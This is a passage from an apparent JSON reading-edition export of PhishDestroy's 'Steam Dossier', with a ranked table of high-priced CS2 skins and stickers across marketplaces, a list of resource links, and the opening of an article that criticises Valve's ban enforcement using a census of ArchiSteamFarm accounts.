                "Souvenir M4A4 | Poseidon (Factory New)",
                "2",
                "2",
                "$2,681.18",
                "BUFF",
                "absent",
                "+$881.18"
              ],
              [
                "279",
                "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 4Phase 4",
                "4",
                "3",
                "$2,675.00",
                "CSFloat",
                "absent",
                "+$875.00"
              ],
              [
                "280",
                "★ StatTrak™ Talon Knife | Doppler (Factory New) | RubyRuby",
                "5",
                "2",
                "$2,664.42",
                "BUFF",
                "absent",
                "+$864.42"
              ],
              [
                "281",
                "★ Talon Knife | Doppler (Factory New) | Black PearlBlack Pearl",
                "4",
                "1",
                "$2,664.38",
                "Youpin",
                "absent",
                "+$864.38"
              ],
              [
                "282",
                "Souvenir CZ75-Auto | Honey Paisley (Battle-Scarred)",
                "1",
                "1",
                "$2,648.92",
                "CSFloat",
                "absent",
                "+$848.92"
              ],
              [
                "283",
                "★ Butterfly Knife | Doppler (Minimal Wear) | Phase 4Phase 4",
                "4",
                "1",
                "$2,639.83",
                "CSFloat",
                "absent",
                "+$839.83"
              ],
              [
                "284",
                "★ Talon Knife | Doppler (Factory New) | RubyRuby",
                "5",
                "11",
                "$2,619.25",
                "Youpin",
                "absent",
                "+$819.25"
              ],
              [
                "285",
                "Sticker | ShahZaM (Gold) | Boston 2018",
                "3",
                "3",
                "$2,611.72",
                "Skinport",
                "absent",
                "+$811.72"
              ],
              [
                "286",
                "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 1Phase 1",
                "3",
                "1",
                "$2,606.70",
                "C5Game",
                "absent",
                "+$806.70"
              ],
              [
                "287",
                "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 4Phase 4",
                "3",
                "1",
                "$2,606.63",
                "C5Game",
                "absent",
                "+$806.63"
              ],
              [
                "288",
                "★ Specialist Gloves | Crimson Kimono (Minimal Wear)",
                "5",
                "842",
                "$2,573.71",
                "BUFF",
                "absent",
                "+$773.71"
              ],
              [
                "289",
                "★ Survival Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem",
                "1",
                "1",
                "$2,562.01",
                "C5Game",
                "absent",
                "+$762.01"
              ],
              [
                "290",
                "Sticker | compLexity Gaming (Holo) | Katowice 2014",
                "4",
                "10",
                "$2,555.00",
                "CSFloat",
                "absent",
                "+$755.00"
              ],
              [
                "291",
                "★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear)",
                "4",
                "16",
                "$2,550.00",
                "CSFloat",
                "absent",
                "+$750.00"
              ],
              [
                "292",
                "★ Sport Gloves | Superconductor (Minimal Wear)",
                "5",
                "400",
                "$2,532.22",
                "Youpin",
                "absent",
                "+$732.22"
              ],
              [
                "293",
                "Souvenir AK-47 | Case Hardened (Well-Worn) | Tier 3Tier 3",
                "1",
                "0",
                "$2,532.07",
                "BUFF",
                "absent",
                "+$732.07"
              ],
              [
                "294",
                "AWP | The Prince (Factory New)",
                "5",
                "202",
                "$2,513.83",
                "C5Game",
                "absent",
                "+$713.83"
              ],
              [
                "295",
                "Souvenir AWP | The Prince (Minimal Wear)",
                "3",
                "3",
                "$2,500.00",
                "CSFloat",
                "absent",
                "+$700.00"
              ],
              [
                "296",
                "Souvenir USP-S | Para Green (Battle-Scarred)",
                "1",
                "1",
                "$2,500.00",
                "CSFloat",
                "absent",
                "+$700.00"
              ],
              [
                "297",
                "StatTrak™ M4A4 | Bullet Rain (Battle-Scarred)",
                "1",
                "4",
                "$2,500.00",
                "CSFloat",
                "absent",
                "+$700.00"
              ],
              [
                "298",
                "Sticker | seang@res (Gold) | Boston 2018",
                "1",
                "1",
                "$2,500.00",
                "CSFloat",
                "absent",
                "+$700.00"
              ],
              [
                "299",
                "★ StatTrak™ Talon Knife | Night Stripe (Factory New)",
                "1",
                "1",
                "$2,500.00",
                "CSFloat",
                "absent",
                "+$700.00"
              ],
              [
                "300",
                "★ StatTrak™ Karambit | Marble Fade (Factory New) | 2nd2nd",
                "3",
                "4",
                "$2,498.13",
                "CSFloat",
                "absent",
                "+$698.13"
              ],
              [
                "301",
                "AWP | Medusa (Minimal Wear)",
                "5",
                "85",
                "$2,495.64",
                "Skinport",
                "absent",
                "+$695.64"
              ],
              [
                "302",
                "M4A1-S | Knight (Factory New)",
                "5",
                "106",
                "$2,494.99",
                "CSFloat",
                "absent",
                "+$694.99"
              ],
              [
                "303",
                "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 3Phase 3",
                "1",
                "0",
                "$2,485.75",
                "BUFF",
                "absent",
                "+$685.75"
              ],
              [
                "304",
                "★ StatTrak™ Bowie Knife | Case Hardened (Factory New)",
                "1",
                "1",
                "$2,481.60",
                "CSFloat",
                "absent",
                "+$681.60"
              ],
              [
                "305",
                "Negev | Mjölnir (Factory New)",
                "5",
                "82",
                "$2,460.82",
                "Skinport",
                "absent",
                "+$660.82"
              ],
              [
                "306",
                "★ Talon Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem",
                "1",
                "5",
                "$2,457.75",
                "C5Game",
                "absent",
                "+$657.75"
              ],
              [
                "307",
                "Souvenir MAG-7 | Carbon Fiber (Factory New)",
                "1",
                "1",
                "$2,419.14",
                "CSFloat",
                "$192.14",
                "+$619.14"
              ],
              [
                "308",
                "Souvenir M4A1-S | Knight (Factory New)",
                "5",
                "99",
                "$2,407.81",
                "CSFloat",
                "absent",
                "+$607.81"
              ],
              [
                "309",
                "★ Talon Knife | Doppler (Minimal Wear) | Black PearlBlack Pearl",
                "3",
                "1",
                "$2,391.94",
                "CSFloat",
                "absent",
                "+$591.94"
              ],
              [
                "310",
                "★ Butterfly Knife | Doppler (Minimal Wear) | Phase 3Phase 3",
                "4",
                "2",
                "$2,390.45",
                "CSFloat",
                "absent",
                "+$590.45"
              ],
              [
                "311",
                "★ StatTrak™ Bayonet | Doppler (Factory New) | RubyRuby",
                "5",
                "3",
                "$2,388.09",
                "CSFloat",
                "absent",
                "+$588.09"
              ],
              [
                "312",
                "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 4Phase 4",
                "3",
                "2",
                "$2,383.12",
                "BUFF",
                "absent",
                "+$583.12"
              ],
              [
                "313",
                "★ StatTrak™ Karambit | Doppler (Minimal Wear) | Phase 2Phase 2",
                "1",
                "0",
                "$2,383.12",
                "BUFF",
                "absent",
                "+$583.12"
              ],
              [
                "314",
                "SCAR-20 | Splash Jam (Factory New)",
                "1",
                "5",
                "$2,378.82",
                "CSFloat",
                "absent",
                "+$578.82"
              ],
              [
                "315",
                "★ StatTrak™ Karambit | Marble Fade (Factory New) | 4th4th",
                "2",
                "1",
                "$2,366.59",
                "Youpin",
                "absent",
                "+$566.59"
              ],
              [
                "316",
                "MP9 | Wild Lily (Factory New)",
                "5",
                "102",
                "$2,360.93",
                "BUFF",
                "absent",
                "+$560.93"
              ],
              [
                "317",
                "Negev | Mjölnir (Minimal Wear)",
                "5",
                "11",
                "$2,335.60",
                "Skinport",
                "absent",
                "+$535.60"
              ],
              [
                "318",
                "★ Sport Gloves | Amphibious (Factory New)",
                "4",
                "114",
                "$2,333.09",
                "C5Game",
                "absent",
                "+$533.09"
              ],
              [
                "319",
                "★ StatTrak™ Butterfly Knife | Lore (Factory New)",
                "5",
                "19",
                "$2,330.07",
                "Skinport",
                "absent",
                "+$530.07"
              ],
              [
                "320",
                "★ Karambit | Gamma Doppler (Factory New) | Phase 2Phase 2",
                "5",
                "44",
                "$2,324.41",
                "CSFloat",
                "absent",
                "+$524.41"
              ],
              [
                "321",
                "★ Talon Knife | Doppler (Minimal Wear) | RubyRuby",
                "5",
                "2",
                "$2,320.37",
                "Skinport",
                "absent",
                "+$520.37"
              ],
              [
                "322",
                "★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear) | Phase 2Phase 2",
                "4",
                "3",
                "$2,320.11",
                "Youpin",
                "absent",
                "+$520.11"
              ],
              [
                "323",
                "★ Karambit | Gamma Doppler (Minimal Wear) | Phase 2Phase 2",
                "4",
                "2",
                "$2,308.79",
                "BUFF",
                "absent",
                "+$508.79"
              ],
              [
                "324",
                "Sticker | HEN1 (Gold) | Boston 2018",
                "1",
                "2",
                "$2,280.07",
                "CSFloat",
                "absent",
                "+$480.07"
              ],
              [
                "325",
                "★ StatTrak™ Karambit | Gamma Doppler (Factory New) | Phase 2Phase 2",
                "5",
                "5",
                "$2,275.79",
                "CSFloat",
                "absent",
                "+$475.79"
              ],
              [
                "326",
                "★ Butterfly Knife | Doppler (Minimal Wear)",
                "4",
                "77",
                "$2,264.10",
                "C5Game",
                "absent",
                "+$464.10"
              ],
              [
                "327",
                "★ Butterfly Knife | Doppler (Minimal Wear) | Phase 1Phase 1",
                "4",
                "1",
                "$2,264.10",
                "C5Game",
                "absent",
                "+$464.10"
              ],
              [
                "328",
                "MP9 | Wild Lily (Minimal Wear)",
                "3",
                "13",
                "$2,255.00",
                "CSFloat",
                "absent",
                "+$455.00"
              ],
              [
                "329",
                "Souvenir AWP | Medusa (Field-Tested)",
                "1",
                "3",
                "$2,250.00",
                "CSFloat",
                "absent",
                "+$450.00"
              ],
              [
                "330",
                "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 1Phase 1",
                "4",
                "3",
                "$2,248.00",
                "CSFloat",
                "absent",
                "+$448.00"
              ],
              [
                "331",
                "MP9 | Wild Lily (Well-Worn)",
                "1",
                "1",
                "$2,234.31",
                "Youpin",
                "absent",
                "+$434.31"
              ],
              [
                "332",
                "Sticker | Lekr0 (Gold) | Boston 2018",
                "3",
                "4",
                "$2,234.31",
                "BUFF",
                "absent",
                "+$434.31"
              ],
              [
                "333",
                "Sticker | somebody (Gold) | Boston 2018",
                "2",
                "7",
                "$2,234.31",
                "BUFF",
                "absent",
                "+$434.31"
              ],
              [
                "334",
                "★ StatTrak™ Karambit | Marble Fade (Factory New) | 6th6th",
                "2",
                "2",
                "$2,234.31",
                "Youpin",
                "absent",
                "+$434.31"
              ],
              [
                "335",
                "Negev | Mjölnir (Field-Tested)",
                "3",
                "11",
                "$2,224.12",
                "CSFloat",
                "absent",
                "+$424.12"
              ],
              [
                "336",
                "★ Skeleton Knife | Doppler (Factory New) | Black PearlBlack Pearl",
                "5",
                "4",
                "$2,222.86",
                "Skinport",
                "absent",
                "+$422.86"
              ],
              [
                "337",
                "Sticker | tarik (Gold) | London 2018",
                "1",
                "1",
                "$2,214.22",
                "Skinport",
                "absent",
                "+$414.22"
              ],
              [
                "338",
                "★ StatTrak™ Flip Knife | Doppler (Minimal Wear) | RubyRuby",
                "1",
                "1",
                "$2,205.45",
                "Skinport",
                "absent",
                "+$405.45"
              ],
              [
                "339",
                "Souvenir M4A1-S | Knight (Minimal Wear)",
                "5",
                "12",
                "$2,195.00",
                "CSFloat",
                "absent",
                "+$395.00"
              ],
              [
                "340",
                "Souvenir AK-47 | Fire Serpent (Factory New)",
                "1",
                "2",
                "$2,190.00",
                "CSFloat",
                "absent",
                "+$390.00"
              ],
              [
                "341",
                "★ StatTrak™ Skeleton Knife | Doppler (Factory New) | Black PearlBlack Pearl",
                "5",
                "4",
                "$2,189.16",
                "CSFloat",
                "absent",
                "+$389.16"
              ],
              [
                "342",
                "★ Skeleton Knife | Doppler (Minimal Wear) | RubyRuby",
                "4",
                "1",
                "$2,178.31",
                "CSFloat",
                "absent",
                "+$378.31"
              ],
              [
                "343",
                "★ Talon Knife | Crimson Web (Factory New)",
                "4",
                "5",
                "$2,174.43",
                "Youpin",
                "absent",
                "+$374.43"
              ],
              [
                "344",
                "★ Driver Gloves | Crimson Weave (Factory New)",
                "4",
                "38",
                "$2,171.79",
                "C5Game",
                "absent",
                "+$371.79"
              ],
              [
                "345",
                "★ Karambit | Marble Fade (Minimal Wear) | 6th6th",
                "1",
                "0",
                "$2,159.84",
                "BUFF",
                "absent",
                "+$359.84"
              ],
              [
                "346",
                "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 5Phase 5",
                "1",
                "0",
                "$2,159.84",
                "BUFF",
                "absent",
                "+$359.84"
              ],
              [
                "347",
                "★ Skeleton Knife | Doppler (Factory New) | RubyRuby",
                "5",
                "12",
                "$2,154.71",
                "Youpin",
                "absent",
                "+$354.71"
              ],
              [
                "348",
                "★ Karambit | Marble Fade (Factory New) | 2nd2nd",
                "4",
                "28",
                "$2,150.00",
                "CSFloat",
                "absent",
                "+$350.00"
              ],
              [
                "349",
                "AK-47 | Fire Serpent (Factory New)",
                "5",
                "180",
                "$2,121.69",
                "CSFloat",
                "absent",
                "+$321.69"
              ],
              [
                "350",
                "★ Karambit | Marble Fade (Factory New) | 3rd3rd",
                "4",
                "21",
                "$2,115.08",
                "Youpin",
                "absent",
                "+$315.08"
              ],
              [
                "351",
                "★ Butterfly Knife | Gamma Doppler (Factory New) | Phase 2Phase 2",
                "5",
                "81",
                "$2,114.93",
                "CSFloat",
                "absent",
                "+$314.93"
              ],
              [
                "352",
                "★ Butterfly Knife | Fade (Minimal Wear)",
                "5",
                "88",
                "$2,109.80",
                "CSFloat",
                "absent",
                "+$309.80"
              ],
              [
                "353",
                "★ StatTrak™ Butterfly Knife | Blue Steel (Factory New)",
                "3",
                "4",
                "$2,100.98",
                "Skinport",
                "absent",
                "+$300.98"
              ],
              [
                "354",
                "Souvenir M4A1-S | Welcome to the Jungle (Factory New)",
                "4",
                "23",
                "$2,100.00",
                "CSFloat",
                "absent",
                "+$300.00"
              ],
              [
                "355",
                "★ Butterfly Knife | Doppler (Factory New) | Phase 1Phase 1",
                "5",
                "26",
                "$2,100.00",
                "CSFloat",
                "absent",
                "+$300.00"
              ],
              [
                "356",
                "★ Karambit | Gamma Doppler (Minimal Wear) | Phase 1Phase 1",
                "4",
                "4",
                "$2,100.00",
                "CSFloat",
                "absent",
                "+$300.00"
              ],
              [
                "357",
                "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 3Phase 3",
                "2",
                "1",
                "$2,100.00",
                "CSFloat",
                "absent",
                "+$300.00"
              ],
              [
                "358",
                "★ Bayonet | Gamma Doppler (Minimal Wear) | EmeraldEmerald",
                "4",
                "3",
                "$2,085.36",
                "C5Game",
                "absent",
                "+$285.36"
              ],
              [
                "359",
                "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 4Phase 4",
                "1",
                "0",
                "$2,085.36",
                "BUFF",
                "absent",
                "+$285.36"
              ],
              [
                "360",
                "★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear) | Phase 1Phase 1",
                "4",
                "1",
                "$2,085.36",
                "BUFF",
                "absent",
                "+$285.36"
              ],
              [
                "361",
                "★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear)",
                "4",
                "16",
                "$2,085.35",
                "Youpin",
                "absent",
                "+$285.35"
              ],
              [
                "362",
                "★ StatTrak™ Flip Knife | Doppler (Minimal Wear) | SapphireSapphire",
                "1",
                "0",
                "$2,079.76",
                "CSFloat",
                "absent",
                "+$279.76"
              ],
              [
                "363",
                "★ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 2Phase 2",
                "4",
                "7",
                "$2,070.20",
                "CSFloat",
                "absent",
                "+$270.20"
              ],
              [
                "364",
                "Souvenir Dual Berettas | Duelist (Factory New)",
                "1",
                "1",
                "$2,068.68",
                "BUFF",
                "absent",
                "+$268.68"
              ],
              [
                "365",
                "Souvenir M4A4 | Falak (Factory New)",
                "1",
                "1",
                "$2,068.68",
                "BUFF",
                "absent",
                "+$268.68"
              ],
              [
                "366",
                "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 2Phase 2",
                "2",
                "0",
                "$2,060.00",
                "CSFloat",
                "absent",
                "+$260.00"
              ],
              [
                "367",
                "★ Driver Gloves | King Snake (Factory New)",
                "4",
                "108",
                "$2,059.81",
                "CSFloat",
                "absent",
                "+$259.81"
              ],
              [
                "368",
                "Souvenir Tec-9 | Orange Murano (Battle-Scarred)",
                "1",
                "1",
                "$2,057.78",
                "CSFloat",
                "absent",
                "+$257.78"
              ],
              [
                "369",
                "★ Butterfly Knife | Fade (Factory New)",
                "5",
                "1,985",
                "$2,056.38",
                "CSFloat",
                "absent",
                "+$256.38"
              ],
              [
                "370",
                "★ StatTrak™ Butterfly Knife | Gamma Doppler (Factory New) | Phase 2Phase 2",
                "5",
                "6",
                "$2,053.00",
                "CSFloat",
                "absent",
                "+$253.00"
              ],
              [
                "371",
                "★ StatTrak™ Skeleton Knife | Doppler (Factory New) | RubyRuby",
                "5",
                "5",
                "$2,041.83",
                "C5Game",
                "absent",
                "+$241.83"
              ],
              [
                "372",
                "★ StatTrak™ Butterfly Knife | Fade (Factory New)",
                "5",
                "229",
                "$2,036.16",
                "CSFloat",
                "absent",
                "+$236.16"
              ],
              [
                "373",
                "★ Sport Gloves | Hedge Maze (Battle-Scarred)",
                "5",
                "156",
                "$2,033.07",
                "Youpin",
                "absent",
                "+$233.07"
              ],
              [
                "374",
                "★ Bayonet | Crimson Web (Factory New)",
                "3",
                "6",
                "$2,010.65",
                "Youpin",
                "absent",
                "+$210.65"
              ],
              [
                "375",
                "★ StatTrak™ Butterfly Knife | Doppler (Factory New)",
                "4",
                "184",
                "$2,007.90",
                "CSFloat",
                "absent",
                "+$207.90"
              ],
              [
                "376",
                "★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 3Phase 3",
                "4",
                "14",
                "$2,007.90",
                "CSFloat",
                "absent",
                "+$207.90"
              ],
              [
                "377",
                "Souvenir AK-47 | Gold Arabesque (Factory New)",
                "4",
                "121",
                "$2,000.00",
                "CSFloat",
                "absent",
                "+$200.00"
              ],
              [
                "378",
                "Souvenir Desert Eagle | Heat Treated (Factory New)",
                "2",
                "2",
                "$2,000.00",
                "CSFloat",
                "$640.00",
                "+$200.00"
              ],
              [
                "379",
                "Souvenir USP-S | Printstream (Factory New)",
                "2",
                "2",
                "$2,000.00",
                "CSFloat",
                "absent",
                "+$200.00"
              ],
              [
                "380",
                "★ StatTrak™ Bowie Knife | Doppler (Factory New) | Black PearlBlack Pearl",
                "1",
                "0",
                "$2,000.00",
                "CSFloat",
                "absent",
                "+$200.00"
              ],
              [
                "381",
                "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | Phase 1Phase 1",
                "2",
                "0",
                "$2,000.00",
                "CSFloat",
                "absent",
                "+$200.00"
              ],
              [
                "382",
                "★ StatTrak™ Talon Knife | Doppler (Minimal Wear) | SapphireSapphire",
                "3",
                "2",
                "$2,000.00",
                "CSFloat",
                "absent",
                "+$200.00"
              ],
              [
                "383",
                "★ StatTrak™ Huntsman Knife | Freehand (Battle-Scarred)",
                "1",
                "20",
                "$1,999.99",
                "CSFloat",
                "absent",
                "+$199.99"
              ],
              [
                "384",
                "Sticker | sdy (Gold) | London 2018",
                "2",
                "4",
                "$1,999.00",
                "CSFloat",
                "absent",
                "+$199.00"
              ],
              [
                "385",
                "★ Skeleton Knife | Doppler (Minimal Wear) | SapphireSapphire",
                "4",
                "1",
                "$1,990.52",
                "CSFloat",
                "absent",
                "+$190.52"
              ],
              [
                "386",
                "★ StatTrak™ Butterfly Knife | Urban Masked (Factory New)",
                "1",
                "2",
                "$1,989.21",
                "CSFloat",
                "absent",
                "+$189.21"
              ],
              [
                "387",
                "Souvenir AK-47 | The Empress (Field-Tested)",
                "1",
                "1",
                "$1,986.01",
                "BUFF",
                "absent",
                "+$186.01"
              ],
              [
                "388",
                "★ Butterfly Knife | Doppler (Factory New)",
                "4",
                "1,833",
                "$1,975.87",
                "CSFloat",
                "absent",
                "+$175.87"
              ],
              [
                "389",
                "★ Butterfly Knife | Doppler (Factory New) | Phase 3Phase 3",
                "5",
                "36",
                "$1,975.87",
                "CSFloat",
                "absent",
                "+$175.87"
              ],
              [
                "390",
                "AWP | Medusa (Field-Tested)",
                "5",
                "118",
                "$1,975.00",
                "CSFloat",
                "absent",
                "+$175.00"
              ],
              [
                "391",
                "★ StatTrak™ Flip Knife | Doppler (Factory New) | Black PearlBlack Pearl",
                "2",
                "0",
                "$1,958.88",
                "CSFloat",
                "absent",
                "+$158.88"
              ],
              [
                "392",
                "Sticker | DD (Gold) | Boston 2018",
                "2",
                "3",
                "$1,952.31",
                "CSFloat",
                "absent",
                "+$152.31"
              ],
              [
                "393",
                "★ StatTrak™ Butterfly Knife | Case Hardened (Factory New)",
                "4",
                "7",
                "$1,950.00",
                "CSFloat",
                "absent",
                "+$150.00"
              ],
              [
                "394",
                "★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear)",
                "4",
                "26",
                "$1,945.00",
                "CSFloat",
                "absent",
                "+$145.00"
              ],
              [
                "395",
                "Souvenir AWP | Redline (Well-Worn)",
                "1",
                "1",
                "$1,940.97",
                "CSFloat",
                "absent",
                "+$140.97"
              ],
              [
                "396",
                "★ Karambit | Marble Fade (Factory New) | 4th4th",
                "2",
                "9",
                "$1,936.41",
                "Youpin",
                "absent",
                "+$136.41"
              ],
              [
                "397",
                "Souvenir AWP | The Prince (Field-Tested)",
                "2",
                "3",
                "$1,936.40",
                "Youpin",
                "absent",
                "+$136.40"
              ],
              [
                "398",
                "★ Driver Gloves | Wave Chaser (Factory New)",
                "4",
                "35",
                "$1,936.26",
                "Youpin",
                "absent",
                "+$136.26"
              ],
              [
                "399",
                "★ Karambit | Marble Fade (Minimal Wear) | 7th7th",
                "1",
                "0",
                "$1,936.26",
                "BUFF",
                "absent",
                "+$136.26"
              ],
              [
                "400",
                "AK-47 | X-Ray (Factory New)",
                "5",
                "301",
                "$1,936.03",
                "C5Game",
                "absent",
                "+$136.03"
              ],
              [
                "401",
                "MP9 | Wild Lily (Field-Tested)",
                "3",
                "14",
                "$1,931.61",
                "CSFloat",
                "absent",
                "+$131.61"
              ],
              [
                "402",
                "AK-47 | Gold Arabesque (Factory New)",
                "5",
                "496",
                "$1,927.32",
                "CSFloat",
                "absent",
                "+$127.32"
              ],
              [
                "403",
                "AWP | The Prince (Minimal Wear)",
                "5",
                "129",
                "$1,921.51",
                "Youpin",
                "absent",
                "+$121.51"
              ],
              [
                "404",
                "★ Moto Gloves | Cool Mint (Factory New)",
                "4",
                "26",
                "$1,904.83",
                "Youpin",
                "absent",
                "+$104.83"
              ],
              [
                "405",
                "★ Bayonet | Doppler (Factory New) | Black PearlBlack Pearl",
                "4",
                "2",
                "$1,900.00",
                "CSFloat",
                "absent",
                "+$100.00"
              ],
              [
                "406",
                "Souvenir M4A4 | Griffin (Factory New)",
                "1",
                "1",
                "$1,893.05",
                "CSFloat",
                "absent",
                "+$93.05"
              ],
              [
                "407",
                "★ Sport Gloves | Pandora's Box (Battle-Scarred)",
                "5",
                "158",
                "$1,891.72",
                "Youpin",
                "absent",
                "+$91.72"
              ],
              [
                "408",
                "★ StatTrak™ Karambit | Marble Fade (Factory New) | 7th7th",
                "2",
                "3",
                "$1,870.12",
                "Youpin",
                "absent",
                "+$70.12"
              ],
              [
                "409",
                "★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 6Phase 6",
                "1",
                "0",
                "$1,861.93",
                "BUFF",
                "absent",
                "+$61.93"
              ],
              [
                "410",
                "★ Driver Gloves | Snow Leopard (Factory New)",
                "4",
                "51",
                "$1,850.00",
                "CSFloat",
                "absent",
                "+$50.00"
              ],
              [
                "411",
                "Sticker | NiKo (Gold) | Krakow 2017",
                "4",
                "11",
                "$1,836.52",
                "CSFloat",
                "absent",
                "+$36.52"
              ],
              [
                "412",
                "★ Karambit | Fade (Minimal Wear)",
                "4",
                "27",
                "$1,835.13",
                "CSFloat",
                "absent",
                "+$35.13"
              ],
              [
                "413",
                "★ StatTrak™ Bayonet | Urban Masked (Factory New)",
                "1",
                "1",
                "$1,805.55",
                "CSFloat",
                "absent",
                "+$5.55"
              ],
              [
                "414",
                "Souvenir Desert Eagle | Code Red (Minimal Wear)",
                "1",
                "4",
                "$1,800.00",
                "CSFloat",
                "absent",
                "+$0.00"
              ],
              [
                "415",
                "Souvenir Glock-18 | Twilight Galaxy (Factory New)",
                "1",
                "1",
                "$1,800.00",
                "CSFloat",
                "absent",
                "+$0.00"
              ],
              [
                "416",
                "★ Butterfly Knife | Lore (Factory New)",
                "5",
                "144",
                "$1,800.00",
                "CSFloat",
                "absent",
                "+$0.00"
              ],
              [
                "417",
                "★ Karambit | Ultraviolet (Factory New)",
                "3",
                "7",
                "$1,800.00",
                "CSFloat",
                "absent",
                "+$0.00"
              ],
              [
                "418",
                "★ StatTrak™ Karambit | Gamma Doppler (Factory New) | Phase 1Phase 1",
                "5",
                "6",
                "$1,800.00",
                "CSFloat",
                "absent",
                "+$0.00"
              ],
              [
                "419",
                "★ Stiletto Knife | Doppler (Minimal Wear) | Black PearlBlack Pearl",
                "4",
                "1",
                "$1,800.00",
                "CSFloat",
                "absent",
                "+$0.00"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-above-the-ceiling.json",
          "sha256": "ba1298a401d9288bc3f5d772560ee8939dc6f090daad2d4ed6c9f5456f84fc88",
          "bytes": 287888
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/skinport-floor-over-cap.json",
          "sha256": "a2dfdd9bb46416558865fc6568a945b73eac648875643335815120ac01a1d5ec",
          "bytes": 22191
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-float-scarcity.json",
          "sha256": "2132898e215d9998a593810f8cb97220a1c4bc9ff1235a7f7b5a683063a5a59a",
          "bytes": 562300
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-manifest.json",
          "sha256": "ac6f818ec475994f41df11d2d186589aa2f563bb80803225c4acb31e1895e1ba",
          "bytes": 6675
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/csfloat-catalogue.json",
          "sha256": "739aebc209ac25adc4057a9054392e3eddf34a7514c4ae5018391de952a8f375",
          "bytes": 67875
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "enforcement_audit",
      "language": "en",
      "title": "The census Valve won't publish — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/enforcement_audit",
      "source_file": "steam_dossier/enforcement_audit.html",
      "source_html_sha256": "8746aa4a35d921ceec4f813b81431ab690edee8850fbc792d1a286ed82d1df53",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "enforcement_audit.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/enforcement_audit.pdf",
        "sha256": "3f426c5d655c0b63a75b115e2fbcb7230a1bf4dbace24c7d10217cb03da052b9",
        "bytes": 348111,
        "pages": 14
      },
      "integrity": {
        "signed_object": "enforcement_audit.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/enforcement_audit.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/enforcement_audit.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nExhibit VI — The census Valve won't publish\nEnforcement Audit — The 1,182,811 Ban Census\n\nWe didn't ask Valve how big the farm is. We counted it.\n\nWHAT THIS SECTION PROVES\n\nThis audit presents an empirical census of 1,182,811 banned accounts using Valve's official GetPlayerBans endpoint, cross-referencing commercial bot farming cohorts with documented fraud registries. It proves that over 63% of banned bots paid Valve's $5.00 store gating fee prior to enforcement, generating millions in initial revenue. Furthermore, among 51,732 convicted scammers documented in fraud registries, over 67% face zero community or trade bans—demonstrating that platform enforcement functions as commercial revenue extraction rather than victim restitution.\n\n← Back to Executive briefing\n\nThere is no published figure for how many automation accounts run on Steam. There is no need for one to be secret: the Steam ID space is a contiguous integer range and Valve hands out the Web API key that walks it. So we took the largest population that identifies itself — the ArchiSteamFarm community — and read every member once through Valve's own ban endpoint. It self-declares because ASF, on first launch, automatically joins the Steam group unless the user explicitly opts out or unchecks the group-join setting (AutoJoinSteamGroup / Statistics). Because this setting is active by default, group membership captures a broad population: active multi-account commercial bot networks, casual idling hobbyists, and ordinary players who ran the software on their personal account and never removed the default subscription. That makes its membership a working census of the software's cumulative reach: 10,880,610 total accounts (with 5,360,499 confirmed non-limited members past the $5.00 store gate). Then we asked the only question that matters — what has Valve actually done to them?\n\nWhat this page is not. It is not an argument that Valve should ban ten million people, and it is not a complaint about card farmers. Every number below is here for one reason: Valve does permanently ban individuals, and the reason it gives in writing is commercial use of Steam and automation. This measures how that same rule is applied to the same conduct at scale — by an operator whose $5.00 unlock, game licences and Market fees Valve collects on the way through. The finding is the asymmetry, not the farm.\n\nThe 10.88M count The scammers who walk (53.5k) 100k paid vs free audit\n10,880,610Total ASF group members read through 